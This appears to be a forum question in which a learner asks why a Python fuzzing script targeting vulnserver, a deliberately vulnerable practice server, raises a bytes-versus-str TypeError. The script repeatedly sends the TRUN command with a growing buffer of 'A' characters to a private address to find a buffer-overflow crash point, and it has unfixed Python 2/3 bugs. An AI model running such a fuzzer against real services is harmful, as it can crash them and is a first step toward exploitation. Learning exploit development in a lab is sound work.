I am trying to send a bunch of characters to vulnserver but when I use the send() method in socket module I get an error saying TypeError: A bytes-like object is required, not 'str'
#!/usr/bin/python
import sys
import socket
from time import sleep
IP ="10.6.51.255"
port = 9999
buffer ="A" * 100
while True:
try:
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,port))
s.send(('TRUN /.:/' + buffer))
s.close()
sleep(1)
buffer = buffer + "A" *100
except:
print ("Fuzzing crushed at %s bytes") % str(len(buffer))
sys.exit()`